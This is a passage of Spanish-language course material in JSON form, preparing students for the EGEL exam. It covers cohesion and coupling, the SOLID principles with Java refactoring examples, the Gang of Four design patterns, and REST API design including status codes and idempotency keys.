niveles:**\n  - Si un módulo hace cosas totalmente distintas agrupadas por comodidad: **Cohesión Coincidental** (la peor).\n  - Si un módulo realiza una sola tarea lógica enfocada: **Cohesión Funcional** (la mejor).\n  - Si una clase accede a variables privadas o detalles internos de otra sin métodos públicos: **Acoplamiento de Contenido** (el peor).\n  - Si dos clases se comunican únicamente pasándose tipos de datos primitivos por parámetros de función: **Acoplamiento de Datos** (el mejor).\n\n## Autoevaluación\nUn desarrollador modifica con frecuencia dos clases distintas (`GestorPedidos` y `ControladorEnvios`) al mismo tiempo porque ambas leen y modifican directamente la misma variable global en memoria `EstadoPedidoGlobal`.\n¿Qué problema de diseño existe y cuál es la solución profesional correcta?\nA) Existe baja cohesión temporal; se deben fusionar ambas clases en una sola clase gigante.\nB) Existe un alto acoplamiento común (global); se debe eliminar la variable global y encapsular el estado dentro de la entidad `Pedido`, haciendo que los módulos colaboren mediante paso de mensajes e interfaces.\nC) Existe acoplamiento de datos ideal; no se requiere ningún cambio.\nD) Es un problema de compilación que se resuelve usando punteros en C++.\n\n*(Consulta la solución razonada en la lección 2.2.9).*\n\n## Puntos clave\n- Alta cohesión funcional + Bajo acoplamiento de datos = Código mantenible, extensible y testeable.\n- La Ley de Demeter previene el acoplamiento estructural navegacional (\"código tren\").\n- Ocultar la información volátil tras interfaces estables es el corazón del buen diseño modular.\n","title":"2.2.1 Modularidad, alta cohesión y bajo acoplamiento en componentes"},{"children":[],"contentMd":"# Principios SOLID en profundidad: Del mal diseño a la arquitectura limpia\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de diagnosticar violaciones de diseño y aplicar con maestría los cinco principios de diseño orientado a objetos **SOLID** (formulados por Robert C. Martin \"Uncle Bob\"), fundamentando el problema que resuelve cada uno, identificando los síntomas de código defectuoso (code smells), ejecutando la refactorización en código y evaluando sus trade-offs prácticos.\n\n## ¿Por qué importa en la práctica profesional?\nLos principios SOLID no son una colección de acrónimos para memorizar antes de un examen; son las reglas de supervivencia contra los cuatro síntomas del software en descomposición: **Rigidez** (difícil de cambiar porque un cambio rompe muchas partes), **Fragilidad** (fácil de romper ante cambios no relacionados), **Inmovilidad** (imposible de reutilizar módulos en otros proyectos porque están soldados entre sí) y **Viscosidad** (hacer las cosas bien es tan difícil que los desarrolladores recurren a parches rápidos y sucios). En el EGEL, las preguntas sobre SOLID evalúan tu capacidad de detectar cuál principio se está violando en un fragmento de código o escenario de diseño.\n\n---\n\n## 1. SRP: Single Responsibility Principle (Principio de Responsabilidad Única)\n\n\u003e *\"Una clase debe tener una, y solo una, razón para cambiar.\"*\n\n- **El problema que resuelve:** La acumulación de múltiples roles o actores en la misma clase. Si una clase cambia cuando el departamento de Finanzas cambia sus fórmulas Y TAMBIÉN cambia cuando el departamento de TI cambia el formato del reporte Y TAMBIÉN cambia cuando el DBA modifica la base de datos, la clase tiene 3 razones para cambiar.\n- **Consecuencia del mal diseño:** Conflictos continuos en Git entre desarrolladores, regresiones masivas y testeabilidad nula.\n\n### Código con violación (Mal diseño):\n```java\n// ❌ VIOLACIÓN DE SRP: Mezcla cálculo de negocio, persistencia SQL y generación visual\npublic class Empleado {\n    private String nombre;\n    private double salarioBase;\n\n    public double calcularSueldoNeto() { /* Lógica de negocio fiscal */ return salarioBase * 0.84; }\n    public void guardarEnBaseDeDatos() { /* Conexión JDBC y SQL INSERT */ }\n    public String generarReporteHTML() { /* Genera etiquetas \u003ctable\u003e y CSS */ return \"\u003chtml\u003e...\u003c/html\u003e\"; }\n}\n```\n\n### Código refactorizado (Buen diseño):\n```java\n// ✔ CUMPLIENDO SRP: Cada clase tiene un único actor y una sola razón para cambiar\npublic class Empleado {\n    private String nombre;\n    private double salarioBase;\n    // Métodos puros de datos y lógica de la entidad\n}\n\npublic class CalculadorNominaService {\n    public double calcularSueldoNeto(Empleado e) { /* Cambia solo si cambia la ley fiscal */ }\n}\n\npublic class EmpleadoRepository {\n    public void guardar(Empleado e) { /* Cambia solo si cambia la base de datos */ }\n}\n\npublic class EmpleadoHtmlReporter {\n    public String generarReporte(Empleado e) { /* Cambia solo si el diseñador web altera el HTML */ }\n}\n```\n\n---\n\n## 2. OCP: Open/Closed Principle (Principio de Abierto/Cerrado)\n\n\u003e *\"Las entidades de software deben estar ABIERTAS para su extensión, pero CERRADAS para su modificación.\"*\n\n- **El problema que resuelve:** Tener que abrir y modificar clases existentes que ya están probadas en producción cada vez que el negocio inventa un nuevo tipo de producto, cliente o regla.\n- **Síntoma clásico:** Sentencias interminables de `if-else if-else` o `switch(tipo)` que inspeccionan un enum o string para decidir qué algoritmo ejecutar.\n- **Solución:** Polimorfismo e interfaces. Agregar una nueva característica debe consistir en escribir una **nueva clase que implementa una interfaz existente**, sin tocar ni una sola línea del código anterior.\n\n### Código con violación (Mal diseño):\n```java\n// ❌ VIOLACIÓN DE OCP: Cada nuevo medio de pago obliga a editar esta clase y arriesga romper los pagos existentes\npublic class ProcesadorPagos {\n    public void procesar(String metodo, double monto) {\n        if (metodo.equals(\"TARJETA\")) {\n            // lógica de cobro con tarjeta\n        } else if (metodo.equals(\"PAYPAL\")) {\n            // lógica de cobro con paypal\n        } else if (metodo.equals(\"BITCOIN\")) {\n            // ¡Tuvimos que modificar código viejo para agregar Bitcoin!\n        }\n    }\n}\n```\n\n### Código refactorizado con Polimorfismo:\n```java\n// ✔ CUMPLIENDO OCP: La interfaz está cerrada; agregamos nuevos métodos creando nuevas clases\npublic interface MetodoPago {\n    void pagar(double monto);\n}\n\npublic class PagoTarjeta implements MetodoPago {\n    public void pagar(double monto) { /* cobro con tarjeta */ }\n}\n\npublic class PagoPayPal implements MetodoPago {\n    public void pagar(double monto) { /* cobro con paypal */ }\n}\n\npublic class PagoBitcoin implements MetodoPago {\n    public void pagar(double monto) { /* ¡Se agregó sin tocar una sola línea de las clases anteriores! */ }\n}\n\npublic class ProcesadorPagos {\n    public void procesar(MetodoPago metodo, double monto) {\n        metodo.pagar(monto); // Abierto a infinitos métodos de pago futuros\n    }\n}\n```\n\n---\n\n## 3. LSP: Liskov Substitution Principle (Principio de Sustitución de Liskov)\n\n\u003e *\"Si $S$ es un subtipo de $T$, entonces los objetos de tipo $T$ deben poder ser sustituidos por objetos de tipo $S$ sin alterar ninguna de las propiedades deseables del programa.\"* (Barbara Liskov, 1987).\n\n- **El problema que resuelve:** El mal uso de la herencia. Creer que porque algo \"es un\" en el lenguaje humano cotidiano, debe heredarse en código.\n- **Síntoma clásico:** Clases hijas que sobreescriben métodos del padre arrojando `throw new UnsupportedOperationException()`, retornando valores vacíos o cambiando las precondiciones/postcondiciones esperadas por el cliente.\n- **El ejemplo canónico: El Rectángulo y el Cuadrado.** Matemáticamente, un cuadrado es un rectángulo. Pero en programación orientada a objetos, si la clase `Rectangulo` tiene `setAncho(w)` y `setAlto(h)` independientes, hacer que `Cuadrado` herede de `Rectangulo` forzando que ancho y alto cambien juntos **rompe las expectativas del código cliente** que calculaba áreas.\n\n### Código con violación (Mal diseño):\n```java\n// ❌ VIOLACIÓN DE LSP: La subclase AvePinguino no puede volar y rompe el contrato del padre\npublic class Ave {\n    public void volar() { System.out.println(\"Volando por el cielo...\"); }\n}\n\npublic class Pinguino extends Ave {\n    @Override\n    public void volar() {\n        throw new UnsupportedOperationException(\"¡Los pingüinos no pueden volar!\");\n    }\n}\n\n// Código cliente que espera que CUALQUIER Ave vuele:\npublic void hacerVolarATodas(List\u003cAve\u003e aves) {\n    for (Ave a : aves) {\n        a.volar(); // ¡CRASH! Excepción en tiempo de ejecución cuando llega un Pinguino\n    }\n}\n```\n\n### Solución respetando Liskov:\n```java\n// ✔ CUMPLIENDO LSP: Segregar jerarquías por verdaderas capacidades de comportamiento\npublic class Ave {\n    public void comer() { /* todas las aves comen */ }\n}\n\npublic interface AveVoladora {\n    void volar();\n}\n\npublic class Aguila extends Ave implements AveVoladora {\n    public void volar() { System.out.println(\"Águila volando...\"); }\n}\n\npublic class Pinguino extends Ave {\n    public void nadar() { System.out.println(\"Pingüino nadando...\"); }\n}\n```\n\n---\n\n## 4. ISP: Interface Segregation Principle (Principio de Segregación de Interfaces)\n\n\u003e *\"Los clientes no deben ser forzados a depender de interfaces o métodos que no utilizan.\"*\n\n- **El problema que resuelve:** Las interfaces \"gordas\" (Fat Interfaces) que declaran 30 métodos heterogéneos.\n- **Consecuencia del mal diseño:** Si una clase solo necesita 2 métodos, está forzada a implementar los otros 28 dejando cuerpos vacíos (`return null;`) o arrojando excepciones. Además, si se modifica uno de esos 28 métodos no utilizados, la clase se ve obligada a recompilarse innecesariamente.\n- **Solución:** Crear muchas interfaces pequeñas, cohesivas y especializadas por rol de cliente (Role Interfaces), en lugar de una interfaz monstruo monolítica.\n\n### Código con violación vs refactorizado:\n```java\n// ❌ VIOLACIÓN DE ISP: Interfaz gorda que obliga a clases simples a implementar métodos absurdos\npublic interface Multifuncional {\n    void imprimir();\n    void escanear();\n    void enviarFax();\n}\n\npublic class ImpresoraEconomica implements Multifuncional {\n    public void imprimir() { /* imprime */ }\n    public void escanear() { throw new UnsupportedOperationException(\"No tengo escáner\"); }\n    public void enviarFax() { throw new UnsupportedOperationException(\"No tengo fax\"); }\n}\n\n// ✔ CUMPLIENDO ISP: Interfaces segregadas por rol\npublic interface Impresora { void imprimir(); }\npublic interface Escaner { void escanear(); }\npublic interface Fax { void enviarFax(); }\n\n// Una impresora simple solo implementa lo que tiene:\npublic class ImpresoraEconomica implements Impresora {\n    public void imprimir() { /* imprime */ }\n}\n\n// Un equipo avanzado compone múltiples interfaces según sus capacidades:\npublic class SuperMultifuncionalCorporativa implements Impresora, Escaner, Fax {\n    public void imprimir() { /* ... */ }\n    public void escanear() { /* ... */ }\n    public void enviarFax() { /* ... */ }\n}\n```\n\n---\n\n## 5. DIP: Dependency Inversion Principle (Principio de Inversión de Dependencias)\n\n\u003e *1. \"Los módulos de alto nivel no deben depender de módulos de bajo nivel. Ambos deben depender de abstracciones.\"*\n\u003e *2. \"Las abstracciones no deben depender de los detalles. Los detalles deben depender de las abstracciones.\"*\n\n- **Alto Nivel:** La lógica de negocio pura, las políticas empresariales, los casos de uso.\n- **Bajo Nivel:** Los mecanismos técnicos de detalle: MySQL, MongoDB, controladores HTTP, servidores SMTP, archivos en disco.\n- **El problema que resuelve:** El acoplamiento rígido directo mediante el operador `new`. Si la clase `ServicioFacturacion` hace `new MySQLDatabaseConnection()` dentro de su constructor, el negocio está soldado de por vida a MySQL.\n\n### Código con violación vs refactorizado con Inyección de Dependencias:\n```java\n// ❌ VIOLACIÓN DE DIP: El módulo de alto nivel depende directamente del bajo nivel concreto\npublic class ServicioNotificaciones {\n    private ServicioSMSConcreto sms = new ServicioSMSConcreto(); // Acoplamiento rígido con 'new'\n\n    public void notificar(String mensaje) {\n        sms.enviarSms(\"555-1234\", mensaje); // Imposible cambiar a correo o WhatsApp sin reescribir\n    }\n}\n\n// ✔ CUMPLIENDO DIP: Ambos dependen de una abstracción (Interfaz)\npublic interface Notificador {\n    void enviar(String destinatario, String mensaje);\n}\n\n// Las implementaciones de bajo nivel se adaptan a la abstracción:\npublic class NotificadorSMS implements Notificador {\n    public void enviar(String d, String m) { /* envío por red celular */ }\n}\n\npublic class NotificadorEmail implements Notificador {\n    public void enviar(String d, String m) { /* envío por SMTP */ }\n}\n\n// El módulo de alto nivel recibe la abstracción por inyección de dependencias (constructor):\npublic class ServicioNotificaciones {\n    private final Notificador notificador;\n\n    public ServicioNotificaciones(Notificador notificador) {\n        this.notificador = notificador; // Inversión de control\n    }\n\n    public void notificar(String destinatario, String mensaje) {\n        notificador.enviar(destinatario, mensaje);\n    }\n}\n```\n\n---\n\n## Cuadro sinóptico de diagnóstico rápido para el EGEL\n\n| Principio | Síntoma revelador de violación | Pregunta de diagnóstico | Solución arquitectónica |\n|---|---|---|---|\n| **S** (Single Responsibility) | Clases de miles de líneas con responsabilidades mixtas (DB + UI + Fiscal). | ¿Tiene esta clase más de una razón para cambiar? | Dividir en clases pequeñas cohesivas por actor. |\n| **O** (Open/Closed) | Cadenas de `if-else` o `switch` que crecen al agregar nuevos tipos. | ¿Debo abrir y editar código viejo para agregar una variante? | Polimorfismo mediante interfaces o clases abstractas. |\n| **L** (Liskov Substitution) | Subclases que arrojan excepciones en métodos heredados del padre. | ¿Puedo sustituir a la clase padre por la hija sin romper el cliente? | Redefinir la jerarquía o usar composición en vez de herencia. |\n| **I** (Interface Segregation) | Clases forzadas a implementar métodos vacíos o con excepciones. | ¿Obliga esta interfaz a que el cliente dependa de lo que no usa? | Dividir la interfaz en contratos pequeños y específicos. |\n| **D** (Dependency Inversion) | Clases de negocio instanciando clases de base de datos con `new`. | ¿Depende mi regla de negocio de un detalle técnico de infraestructura? | Introducir interfaces de abstracción e Inyección de Dependencias. |\n\n## Autoevaluación\nAnaliza el siguiente fragmento de código:\n```java\npublic class ExportadorReportes {\n    public void exportar(String tipo, Datos datos) {\n        if (tipo.equals(\"PDF\")) {\n            generarPDF(datos);\n        } else if (tipo.equals(\"EXCEL\")) {\n            generarExcel(datos);\n        } else if (tipo.equals(\"CSV\")) {\n            generarCSV(datos);\n        }\n    }\n}\n```\nSi el cliente solicita agregar soporte para exportar en formato JSON y el desarrollador se ve obligado a modificar la clase `ExportadorReportes` añadiendo otra rama `else if`:\n¿Qué principio SOLID está siendo violado de forma primaria?\nA) Principio de Sustitución de Liskov (LSP).\nB) Principio de Abierto/Cerrado (OCP), porque la clase no está cerrada a la modificación para admitir nuevas extensiones.\nC) Principio de Segregación de Interfaces (ISP).\nD) Ley de Demeter exclusivamente.\n\n*(Consulta la solución razonada en la lección 2.2.9).*\n\n## Puntos clave\n- SRP busca alta cohesión; OCP busca extensibilidad sin riesgo de regresión.\n- LSP asegura que la herencia mantenga la coherencia semántica del comportamiento.\n- ISP evita el sobrepeso en los contratos de interfaz; DIP desacopla las reglas del negocio de los detalles de infraestructura.\n","title":"2.2.2 Principios SOLID aplicados al diseño orientado a objetos"},{"children":[],"contentMd":"# Patrones de diseño de software GoF: Soluciones probadas a problemas recurrentes\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de identificar, seleccionar e implementar los patrones de diseño de software fundamentales de la \"Banda de los Cuatro\" (GoF - Gang of Four: Gamma, Helm, Johnson, Vlissides), clasificándolos en Creacionales, Estructurales y de Comportamiento, reconociendo el problema exacto que resuelven y sus consecuencias arquitectónicas.\n\n## ¿Por qué importa en la práctica profesional?\nLos patrones de diseño son soluciones estandarizadas, refinadas y probadas por miles de ingenieros a lo largo de décadas para resolver problemas comunes en el diseño orientado a objetos. En lugar de reinventar la rueda de forma torpe ante un problema de creación de objetos o comunicación entre componentes, un ingeniero aplica un patrón de diseño establecido. En evaluaciones profesionales como el EGEL, los patrones de diseño son objeto de preguntas frecuentes donde se describe un problema de acoplamiento o creación y debes elegir el patrón óptimo.\n\n---\n\n## Taxonomía de los 23 patrones GoF\n\nLos patrones se dividen en tres familias según su propósito:\n1. **Patrones Creacionales:** Gestionan los mecanismos de creación e instanciación de objetos, desacoplando el sistema de cómo se crean, componen y representan sus objetos.\n2. **Patrones Estructurales:** Tratan sobre cómo se componen y organizan las clases y objetos para formar estructuras más grandes y flexibles manteniendo la modularidad.\n3. **Patrones de Comportamiento:** Se ocupan de los algoritmos y la asignación de responsabilidades y flujos de comunicación entre objetos en tiempo de ejecución.\n\n---\n\n## 1. Patrones Creacionales Esenciales\n\n### Factory Method (Método de Fábrica)\n- **Problema que resuelve:** Una clase necesita crear objetos de una familia, pero no debe conocer ni acoplarse a las clases concretas que se instanciarán en tiempo de ejecución.\n- **Cómo funciona:** Define una interfaz para crear un objeto, pero delega en las subclases la decisión de qué clase exacta instanciar.\n- *Ejemplo profesional:* Un framework de interfaces gráficas tiene una clase `Dialogo` con un método abstracto `crearBoton()`. En Windows, `WindowsDialogo` instancia `WindowsBoton`; en Mac, `MacDialogo` instancia `MacBoton`.\n\n### Singleton (Instancia Única)\n- **Problema que resuelve:** Garantizar que una clase tenga **una única instancia en toda la aplicación** y proporcionar un punto de acceso global a ella (ej. gestor de configuración, spooler de impresión).\n- **Cómo funciona:** Constructor privado para impedir `new`, variable estática privada que contiene la instancia única y método estático público `getInstance()` (con sincronización multihilo / double-checked locking si aplica).\n- **Advertencia profesional y riesgos:** El Singleton es ampliamente considerado un **antipatrón** cuando se abusa de él, porque introduce estado global mutable oculto, dificulta enormemente las pruebas unitarias (no se puede mockear fácilmente) y crea acoplamiento invisible entre módulos.\n\n### Builder (Constructor)\n- **Problema que resuelve:** El antipatrón del \"Constructor Telescópico\". Cuando un objeto tiene 10 o 15 parámetros opcionales en su constructor (ej. `new Coche(\"rojo\", 4, true, null, 2.0, false, ...)`), el código se vuelve ilegible, propenso a errores de orden de parámetros y rígido.\n- **Cómo funciona:** Separa la construcción de un objeto complejo de su representación final, permitiendo encadenar métodos fluidos (Fluent Interface):\n  ```java\n  Usuario u = new UsuarioBuilder()\n      .conNombre(\"Carlos\")\n      .conEmail(\"carlos@empresa.com\")\n      .conRol(Rol.ADMIN)\n      .conAutenticacion2FA(true)\n      .build();\n  ```\n\n---\n\n## 2. Patrones Estructurales Esenciales\n\n### Adapter (Adaptador / Wrapper)\n- **Problema que resuelve:** Dos clases o sistemas necesitan colaborar, pero sus **interfaces son incompatibles**. Ocurre con frecuencia al integrar librerías de terceros o sistemas heredados que no podemos modificar.\n- **Cómo funciona:** Como un adaptador eléctrico de viaje. Una clase intermedia (el Adaptador) implementa la interfaz que el cliente espera y traduce las llamadas hacia la interfaz incompatible del objeto adaptado (Adaptee).\n- *Ejemplo:* Tu sistema espera una interfaz moderna `ProcesadorPagos` con método `pagar(Monto m)`, pero el banco te entrega una librería vieja en C++ con método `hacerTransaccionHexadecimal(String xmlTrama)`. Creas `BancoAdapter` que traduce `pagar()` al formato hexadecimal.\n\n### Decorator (Decorador)\n- **Problema que resuelve:** Necesidad de añadir **responsabilidades o comportamientos adicionales a un objeto de forma dinámica y flexible**, sin alterar la clase original ni recurrir a una explosión inmanejable de subclases por herencia.\n- **Cómo funciona:** Envuelve el objeto original dentro de otro objeto que implementa su misma interfaz, delegando la llamada base y añadiendo su propio comportamiento antes o después.\n- *Ejemplo canónico:* El paquete `java.io`:\n  ```java\n  InputStream stream = new GZIPInputStream(new BufferedInputStream(new FileInputStream(\"datos.gz\")));\n  ```\n  Un flujo de archivo básico es \"decorado\" con un búfer de memoria y luego \"decorado\" con descompresión GZIP al vuelo.\n\n### Facade (Fachada)\n- **Problema que resuelve:** Un subsistema complejo tiene 30 clases, inicializadores y configuraciones intrincadas. El código cliente solo necesita hacer una operación básica y termina conociendo demasiados detalles internos del subsistema.\n- **Cómo funciona:** Proporciona una **interfaz simplificada de alto nivel** que oculta la complejidad del subsistema detrás de un punto de entrada amigable.\n- *Ejemplo:* En un sistema de cine en casa, en lugar de que el usuario tenga que encender las luces al 20%, bajar la pantalla, encender el proyector, seleccionar entrada HDMI y configurar el sonido envolvente en 5 clases distintas, la clase `CineEnCasaFacade.verPelicula(\"Inception\")` orquesta todo con un solo método.\n\n---\n\n## 3. Patrones de Comportamiento Esenciales\n\n### Strategy (Estrategia)\n- **Problema que resuelve:** Múltiples algoritmos o variantes para realizar la misma tarea (ej. diferentes algoritmos de compresión, diferentes formas de calcular impuestos, diferentes estrategias de descuento en una tienda).\n- **Cómo funciona:** Define una familia de algoritmos, encapsula cada uno en una clase independiente que implementa una interfaz común y hace que los algoritmos sean **intercambiables en tiempo de ejecución**.\n- *Ejemplo de código:*\n  ```java\n  public interface EstrategiaDescuento {\n      BigDecimal aplicar(BigDecimal total);\n  }\n\n  public class DescuentoBuenFin implements EstrategiaDescuento { /* 20% off */ }\n  public class DescuentoClienteFrecuente implements EstrategiaDescuento { /* 10% off */ }\n  public class SinDescuento implements EstrategiaDescuento { /* 0% */ }\n\n  public class CarritoCompras {\n      private EstrategiaDescuento estrategia;\n      public void setEstrategia(EstrategiaDescuento e) { this.estrategia = e; }\n      public BigDecimal calcularTotal(BigDecimal subtotal) { return estrategia.aplicar(subtotal); }\n  }\n  ```\n\n### Observer (Observador / Publicador-Suscriptor)\n- **Problema que resuelve:** Cuando el estado de un objeto cambia, otros objetos dependientes deben ser notificados y actualizados automáticamente sin que el objeto sujeto esté acoplado a quiénes son sus oyentes.\n- **Cómo funciona:** El Sujeto mantiene una lista de observadores registrados (`attach()`, `detach()`). Cuando ocurre un cambio, invoca `notify()` en todos ellos.\n- *Ejemplo:* El modelo de eventos de interfaces gráficas (`button.addClickListener(...)`), suscripción a canales de noticias o sensores meteorológicos que notifican a paneles de control.\n\n### State (Estado)\n- **Problema que resuelve:** Un objeto cambia su comportamiento drásticamente cuando cambia su estado interno, pareciendo como si cambiara de clase.\n- **Cómo funciona:** En lugar de tener sentencias gigantescas `switch(estado)` en cada método, cada estado se encapsula en una clase que implementa una interfaz común de comportamiento.\n- *Ejemplo:* Un reproductor de música: si está en estado `Reproduciendo`, presionar el botón `Play` hace pausa; si está en estado `Pausado`, presionar `Play` reanuda la canción.\n\n---\n\n## Tabla comparativa de patrones clave para el EGEL\n\n| Patrón | Familia | Problema central que resuelve | Diferencia clave con patrones similares |\n|---|---|---|---|\n| **Factory Method** | Creacional | Desacopla la creación del objeto de su clase concreta. | Delega en subclases; a diferencia de Abstract Factory que crea familias completas. |\n| **Builder** | Creacional | Construcción paso a paso de objetos con muchos parámetros opcionales. | Evita constructores con 10 argumentos; devuelve el objeto al final con `.build()`. |\n| **Adapter** | Estructural | Hace compatibles dos interfaces que no encajan entre sí. | **Adapta** una interfaz existente; no agrega funciones nuevas. |\n| **Decorator** | Estructural | Añade responsabilidades dinámicamente en tiempo de ejecución. | Envoltorio con la **misma interfaz** que añade comportamiento sin subclases. |\n| **Facade** | Estructural | Simplifica el acceso a un subsistema complejo. | Proporciona una **interfaz nueva y más sencilla** a múltiples clases internas. |\n| **Strategy** | Comportamiento | Permite intercambiar algoritmos de negocio en tiempo de ejecución. | El cliente elige la estrategia; cambia el algoritmo interno de una operación. |\n| **Observer** | Comportamiento | Notificación 1 a N de cambios de estado sin acoplamiento. | Modelo reactivo de suscripción y broadcast de eventos. |\n\n## Escenario de decisión profesional: El motor de envíos de \"LogísticaExpress\"\nUna plataforma de comercio electrónico debe cotizar envíos internacionales. Dependiendo del tipo de paquete y la urgencia elegida por el comprador, el costo se calcula mediante DHL, FedEx, Estafeta o un servicio marítimo lento. Cada empresa de paquetería tiene su propia API con métodos y nombres completamente distintos que no se pueden modificar.\n\n**Diseño profesional combinando patrones GoF:**\n1. **Patrón Adapter:** Se construye un adaptador para cada empresa de mensajería (`DhlAdapter`, `FedexAdapter`) implementando una interfaz común `ProveedorEnvio`.\n2. **Patrón Strategy:** El cotizador de envíos recibe como estrategia el adaptador seleccionado por el usuario en el checkout, calculando el precio de forma polimórfica sin un solo `switch`.\n3. **Patrón Factory Method:** Una fábrica de proveedores de envío instancia el adaptador correcto basándose en el país de destino y la tarifa elegida.\n\n## Errores y confusiones frecuentes\n\n- **Confundir Adapter con Decorator:** Ambos envuelven un objeto (son wrappers), pero el **Adapter cambia la interfaz** para hacerla compatible con otra, mientras que el **Decorator mantiene la misma interfaz** y agrega comportamiento o funcionalidad extra.\n- **Confundir Facade con Adapter:** Facade crea una interfaz más sencilla para un grupo de clases; Adapter hace que una interfaz existente coincida con otra interfaz predefinida.\n- **Usar Singleton para todo:** Convertir el Singleton en un basurero de variables globales que destruye la concurrencia y hace imposible ejecutar pruebas unitarias en paralelo.\n\n## Claves para el EGEL\n- Si el reactivo describe la necesidad de **hacer compatibles dos interfaces distintas sin modificar el código legado**: el patrón es **Adapter**.\n- Si describe añadir funcionalidades dinámicamente como capas a un objeto sin usar herencia: el patrón es **Decorator**.\n- Si describe **intercambiar algoritmos o políticas de cálculo en tiempo de ejecución**: el patrón es **Strategy**.\n- Si describe **notificar a múltiples componentes cuando un modelo cambia**: el patrón es **Observer**.\n\n## Autoevaluación\nUn sistema de videojuegos necesita que cuando el personaje principal reciba daño y su salud llegue a cero, la interfaz de usuario muestre la pantalla de \"Game Over\", el motor de audio reproduzca un sonido fúnebre y el subsistema de red envíe la estadística al servidor, todo sin que la clase `Personaje` conozca los detalles de audio, gráficos ni red.\n¿Qué patrón de diseño GoF de comportamiento debe implementarse?\nA) Patrón Singleton en la clase Personaje.\nB) Patrón Observer, registrando los subsistemas de audio, UI y red como observadores del evento de muerte del Personaje.\nC) Patrón Builder para construir el daño del personaje.\nD) Patrón Facade para esconder la tarjeta de sonido.\n\n*(Consulta la solución razonada en la lección 2.2.9).*\n\n## Puntos clave\n- Los patrones GoF ofrecen un vocabulario compartido universal entre ingenieros de software.\n- La combinación armónica de patrones (Adapter + Strategy + Factory) resuelve problemas de integración de forma limpia y mantenible.\n- Prefiere la composición sobre la herencia (lema fundacional del libro de la Banda de los Cuatro).\n","title":"2.2.3 Patrones de diseño GoF: Creacionales, Estructurales y de Comportamiento"},{"children":[],"contentMd":"# Diseño de componentes, interfaces y contratos de APIs\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de diseñar contratos de interfaces de componentes y servicios (APIs), aplicando principios de diseño RESTful riguroso, contratos binarios gRPC / Protocol Buffers, control de versiones semántico, diseño defensivo, manejo estructurado de errores y el principio de idempotencia en transacciones de red distribuidas.\n\n## ¿Por qué importa en la práctica profesional?\nUn componente interno de código puede refactorizarse con relativa facilidad en un sprint si sus tests unitarios pasan. Pero en el momento en que un componente expone una **API (Application Programming Interface)** pública a aplicaciones móviles, clientes web o sistemas de terceros, el contrato queda grabado en piedra: romper la compatibilidad de una API significa tumbar la aplicación de millones de usuarios que no han actualizado su app móvil. El diseño de interfaces y APIs exige el máximo rigor de ingeniería de software.\n\n---\n\n## 1. Principios del diseño de APIs RESTful\nEl estilo arquitectónico REST (Representational State Transfer, propuesto por Roy Fielding en el año 2000) se basa en el protocolo HTTP y la manipulación de **recursos** identificados por URIs.\n\n### Reglas cardinales de diseño REST profesional:\n1. **Nombres de recursos en sustantivos y en plural:**\n   - ✔ `GET /api/v1/pedidos` (Colección de pedidos).\n   - ✔ `GET /api/v1/pedidos/482` (Un pedido individual específico).\n   - ❌ *Antipatrón (RPC disfrazado de REST):* `GET /api/v1/obtenerPedidos` o `POST /api/v1/crearNuevoPedido`.\n2. **Uso semántico y estricto de los Verbos HTTP:**\n   - `GET`: Recuperar la representación de un recurso. **Debe ser seguro (no modifica estado) e idempotente.**\n   - `POST`: Crear un nuevo recurso subordinado en la colección. **No es idempotente.**\n   - `PUT`: Reemplazar completamente un recurso existente o crearlo con un ID conocido. **Es idempotente.**\n   - `PATCH`: Modificación parcial de campos específicos de un recurso. (Puede o no ser idempotente según la semántica del payload).\n   - `DELETE`: Eliminar un recurso específico. **Es idempotente.**\n3. **Uso disciplinado de Códigos de Estado HTTP (Status Codes):**\n   - `200 OK`: Petición exitosa con cuerpo de respuesta.\n   - `201 Created`: Recurso creado exitosamente (debe incluir cabecera `Location` con la URI del nuevo recurso).\n   - `204 No Content`: Operación exitosa sin cuerpo de retorno (común en `DELETE` o `PUT`).\n   - `400 Bad Request`: Error del cliente; el payload tiene formato inválido o faltan campos obligatorios.\n   - `401 Unauthorized`: El cliente no está autenticado (falta token o credenciales inválidas).\n   - `403 Forbidden`: El cliente está autenticado pero no tiene permisos para ese recurso.\n   - `404 Not Found`: El recurso solicitado no existe.\n   - `409 Conflict`: Conflicto de estado en el servidor (ej. intentar registrar un usuario con un correo que ya existe).\n   - `422 Unprocessable Entity`: La sintaxis JSON es correcta pero viola reglas de negocio semánticas.\n   - `500 Internal Server Error`: Fallo no controlado en el servidor (bug o excepción no atrapada).\n   - `503 Service Unavailable`: Servidor temporalmente saturado o en mantenimiento.\n\n---\n\n## 2. El principio de Idempotencia en APIs y Pagos\nUna operación de red se define como **Idempotente** si:\n\u003e *Ejecutar la operación una sola vez produce exactamente el mismo efecto sobre el estado del sistema que ejecutarla múltiples veces consecutivas.*\n\n$$\\forall x, \\quad f(f(x)) = f(x)$$\n\n### El problema en la vida real:\nUn usuario presiona \"Pagar $1,000 MXN\". El servidor procesa el cobro con éxito, pero la red celular del usuario se desconecta justo antes de recibir la confirmación `HTTP 200`. La app móvil del usuario experimenta un timeout de red y reintenta automáticamente la petición enviando un segundo `POST /pagos`. Si el endpoint no es idempotente, ¡se le cobrarán $2,000 MXN al cliente!\n\n### Solución: Claves de Idempotencia (Idempotency Keys)\n1. El cliente genera un UUID único (`Idempotency-Key: e8b5f3a0-1234-4567...`) antes de enviar el primer intento y lo incluye en la cabecera HTTP.\n2. El servidor recibe la petición y verifica en una base de datos rápida (Redis) si ya procesó esa clave:\n   - Si no la ha visto: ejecuta la transacción financiera, almacena el resultado asociado a esa clave y responde.\n   - Si la clave ya existe: **no re-ejecuta el cobro**; simplemente devuelve la respuesta que tenía guardada del primer intento.\n\n---\n\n## 3. Comparativa: REST vs gRPC / Protocol Buffers\n\nEn arquitecturas de microservicios modernas, el intercambio de texto JSON sobre HTTP/1.1 (REST tradicional) suele resultar demasiado lento y pesado para la comunicación interna de servidor a servidor.\n\n| Criterio | REST (JSON sobre HTTP/1.1) | gRPC (Protocol Buffers sobre HTTP/2) |\n|---|---|---|\n| **Formato de datos** | Texto plano legible por humanos (JSON). | Binario compacto fuertemente tipado (Protobuf). |\n| **Definición de contrato** | Opcional / Externa (OpenAPI / Swagger). | Obligatoria y estricta en archivos `.proto`. |\n| **Transporte de red** | HTTP/1.1 (conexiones TCP individuales). | HTTP/2 (Multiplexación en una sola conexión TCP). |\n| **Streaming** | Difícil (requiere WebSockets o SSE). | Soporte nativo bidireccional cliente/servidor. |\n| **Rendimiento / Latencia** | Moderado (costo de serializar strings). | 